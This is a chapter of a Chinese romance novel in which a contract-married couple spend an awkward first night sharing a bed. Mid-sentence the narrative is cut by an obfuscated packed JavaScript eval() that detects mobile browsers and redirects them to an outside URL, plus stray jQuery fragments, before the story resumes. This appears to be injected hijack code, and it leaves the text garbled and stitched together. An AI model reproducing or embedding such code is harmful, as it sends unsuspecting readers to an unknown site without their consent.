睡一间。
睡、一间。
她听得清清楚楚，刚刚叶温臣说，他俩今晚要睡一间房。
虽然从客观的角度来说，他大嫂留宿，新婚夫妇不睡一间房，怎么也说不过去。
但从主观的角度来说，她要怎么说服自己，和这个婚前只见了三面的男人，在仓促领证的当晚，同房而睡。
“怎么了？”叶温臣把碗碟放进洗碗机，随即转过身来，双手松垮地抵在料理台上，“还有什么问题吗？”
时念卿盯着洗碗机里不停旋转地碗碟，忽然反应过来，在他家是不用手动洗碗的。
这样看，他做饭她洗碗的分工，倒显得她在划水了。
“没……”她摇了摇头。
之前，她提了一堆的条款，他都应了，而他只提了一个条件，就是需要她在契约时间内配合他演戏。
她实在不好意思再找借口拒绝。
睡一张床应该也没什么。
一般来说，一张规格两米的大床，两个人分隔而睡，中间应该还能留一条“银河”。
空气又一次静止了，洗碗机运作的嗡鸣声填补了两人间的沉默。
叶温臣忽而抬手，关掉了洗碗机的提示音，按下了消毒健：“你每天怎么上班？”
她答：“以前离学校还算近，可以挤公交或者坐地铁。”
“那你明天怎么上班？”
“还没想好。”她想了下，补充道：“或许我可以打车去。”
叶温臣眼皮微掀，唇角勾起一缕讥讽的浅笑：“你可真会给家里省汽油钱。”
“家里现成的车不用，喜欢花钱打车。”
时念卿：“？”
也不知道是谁，下雨天把她一个人丢在民政局门口，明明开了车，还让她自己叫车。
他这样喜怒无常、朝令夕改的，她怎么敢再有所期望。
“明天我去公司，刚好顺路，可以捎你。”
叶温臣关了洗碗机，顺手抽了张厨房纸，慢条斯理地擦了擦手上的水珠，纸面很快被湿水浸成里透明色，透出他分明的指节轮廓。
——
晚上十点，叶温臣和她都进到了卧室。
她提前洗了澡，但他还没。
叶温臣抬手解开领口最上方的纽扣，喉结在温光下滚动了一下，低声道：“我去洗澡。”
别墅里的装横和她破旧的巷楼不同，她以前的家只有一间浴室，而这里的卧室，自然是有独卫的。
她刚从里面出来——
浴室宽敞得近乎奢侈，大理石纹瓷砖从地面一直延伸到半墙，上方是雾面玻璃隔断，将淋浴区与双人洗漱台分隔开来。
相应的，因为是独卫，所以和卧室的距离很近，可以说坐在床上，能真真切切地听见浴室传来的水流声。
她犹豫了一下，问：“你家有几个浴室？”
“除却每间卧室都有独卫外，外面还有一间独立的浴室。”
说话间，他解开了领口的第二颗纽扣。
她别过脸，试探着问了一句：“那你……要去哪个浴室？”
如果他能去外面的独间浴室就好了。
在此之前，她从没和男人住过大床房，更别说是有独卫的大床房。
叶温臣摘下了手上的腕表，领口微松，露出一截锁骨：“问的真有意思。”
“有独卫不去，难道还要舍近求远吗？”
时念卿：“……”
没关系的。
阮媛媛还住在隔壁的客房里，这个点如果叶温臣去外间的浴室洗澡，被她知道也不好。
哪有新婚夫妇有独卫不用的。
时念卿连着做了几次深呼吸，调整了一下几近崩塌的心态，最终成功说服了自己。
叶温臣问：“你困吗？”
往常这个点，她确实要睡了。
但今晚，她应该不大会睡得着吧。
她摇了摇头，答：“还好。”
叶温臣：“要是困了就先睡。”
时念卿点了点头，攥紧了手中临时找来的拉布布抱枕，软和的布料在她指间发出细微的摩擦声。
从小到大，只要紧张她就睡不着觉，但如果怀里有东西抱着，她就能多出几分安全感。
这个抱枕还是她生日的时候，林予真特意送给她的，说是这个小娃娃丑萌丑萌的，很有个性，能给人提供充足的情绪价值。
看得久了，确实觉得它很可爱。
时念卿抱紧了怀里的抱枕，坐在床边上，膝头捧着一本初二下册的语文书。
其实今晚的她脑子空荡荡的，根本什么也读不下去。
——
浴门关上的一瞬，清脆的水声哗然响起。
时念卿蜷在床沿，膝盖几乎悬空在边缘外，厚重的课本被她平摊在枕头上，却半天没翻过一页。水声透过磨砂玻璃传来，带着朦胧的回响。
别墅的隔音效果，也不怎么样。
“念念——”
她似乎听到有人在叫她。
时念卿合上了课本。
“念念——”
她确信了，是叶温臣在叫她。
她下了床，走到浴门附近。
叶温臣声音像是被蒙上了一层雾，随着蒸汽从门缝氤氲而出。
“念念，帮我拿下浴巾。”
她有点紧张，嗓音微微发紧：“我不知道浴巾在哪儿。”
花洒声戛然而止。
“在衣柜最底层的抽屉里。”
她哦了一声，找了过去。
最底层的抽屉里，浴巾叠得方正整齐，雪白的埃及棉布料上还缀着未拆的吊牌——显然是新准备的。
她捏着浴巾的一角，站在浴室外迟疑了两秒。磨砂玻璃上凝结的水珠正缓缓滑落，隐约映出里面人影的修长身形。
他抬手拧了拧头发上的水珠，臂膀的线条舒展，像一幅被水洇湿的素描。
不仅隔音效果不好，浴室的设计也不好，磨砂玻璃太透了。
她的脸颊忽而漫上一层清浅的红晕，像是被浴室溢出的水汽熏染了一般。
时念卿垂下眼睫，无意识地用指尖蹭了蹭自己发烫的耳垂，那里正敏感地泛着热意。
她迟疑了一瞬，方才抬手，在门上轻叩了一下：“浴巾……找到了。”
门开了一道细缝，温热的水汽扑面而来。
叶温臣的手臂从缝隙中伸出，皮肤上还沾着未擦干的水珠。
他分明的骨节在碰到浴巾的一瞬时，不经意擦过她的手腕，触感微凉。
“谢谢。”他的声音混着浴室残余的回响，低低地传来。
她迅速将手缩了回来。
慌乱地回了句：“没关系……”
浴室的水声彻底停下，门锁发出一声轻微的“咔哒”声。
时念卿条件反射般松开手里的抱枕，布料回弹的瞬间，一缕雪松气息已经混着湿热的水汽漫到床边。
叶温臣边擦头发边问：“还没睡？”
他单手用毛巾揉着还在滴水的黑发，发梢甩出的水珠在床头灯下划出细
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879925|176356||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
碎的银线。
睡袍带子松松系着，领口处露出大片泛着水光的胸膛，锁骨凹陷处还蓄着一小汪未擦净的水。
他居然穿的是低领睡袍。
她嗯了一声，避开了他的视线，转而将枕上的课本收拾到了床头柜，躺了下去：“正准备睡。”
她侧躺下来，将脑袋对准靠窗的一侧，被子被她提的很高，半蒙着头。
叶温臣：“那我去外面吹头发。”
关门时，他刻意放轻了力道，以至于门锁咬合的“咔嗒”声几乎微不可闻。
关门的一瞬，他又顺手关了卧灯。
整个卧室，彻底陷入了黑暗。
时念卿原本微阖着的双目，在昏暗中，一点点睁开。
窗外的月光透过半透明的纱帘漏进来，在地板上投下斑驳的亮斑。
她盯着那片模糊的光影，听着客厅隐约传来的吹风机嗡鸣，心跳声在耳膜处鼓噪，一下比一下清晰。
今晚，注定会是个不眠夜。
被窝里的温度渐渐升高，她却不敢乱动，连翻身都小心翼翼，生怕床垫的轻微起伏都能暴露她还没睡着的事实。
她想，过往的二十五年，没有一个夜晚像今夜这样难熬。
不知过了多久，吹风机的声音停了。
走廊上传来极轻的脚步声，由远及近，最终伴随着一声清晰的门把手转动声，门开了。
时念卿猛地闭上眼，睫毛在黑暗里轻颤。
床垫另一侧微微下沉，他掀开被子时带进了一缕微凉的空气，伴随着一股清冽的雪松气息若有似无地飘了过来。
她的背脊挺得格外僵直。
实际上，叶温臣平躺下来时，她们两人之间隔着的距离甚至还能再躺下一个人。
这张两米宽的床，此刻却显得异常逼仄。
他轻声唤她：“念念？”
她没动，仍旧保持着僵直的动作，呼吸却不受控地急促了起来。
“睡不着？”
他的声音带着睡前的沙哑，在黑暗里格外清晰。
她还是没动。
这时候以不动应万变是最好的应对方式。
“你知道吗，不会说谎的人连装睡都装不像的。”他的声音裹着夜色，低低地擦过她耳廓。
时念卿感觉到身后的床垫微微下沉——
叶温臣支着手肘半撑起身，阴影完全笼罩住她蜷缩的背影。
她还是没说话。
叶温臣低笑了一声，轻声道：“呼吸频率大约是每分钟28次。”
他的指尖突然悬停在她后颈上方，隔空描摹着她绷紧的曲线，“睫颤的频率大约每秒1.2次。”带着薄茧的指腹最终落在她发尾，捻起一缕缠绕，“教科书级的清醒状态。”
她的呼吸不禁停滞了一瞬。
他叹息了一声，带着几分无奈：“你是一点被子都不准备给我留了吗？”
她垂头，恍然发现自己不知何时将大半的被子都扯了过来，而且将被子攥得很紧，没给他留半点的空余。
她讪讪地松了手，头仍旧没转过去，只是往他的方向挪了挪被子。
又过了许久，在她眼皮挣扎着打架，就要支撑不住迷糊着睡过去的时候，叶温臣忽而抵靠在她的耳畔，温热的吐息拂过她后颈裸露的皮肤：“安心睡吧——”
“我不会趁人之危。”
而后，他将头转了回去，与她背靠而睡。
她的眼睫不禁重颤了一下。
原本揪着被子的指尖也慢慢松了下来。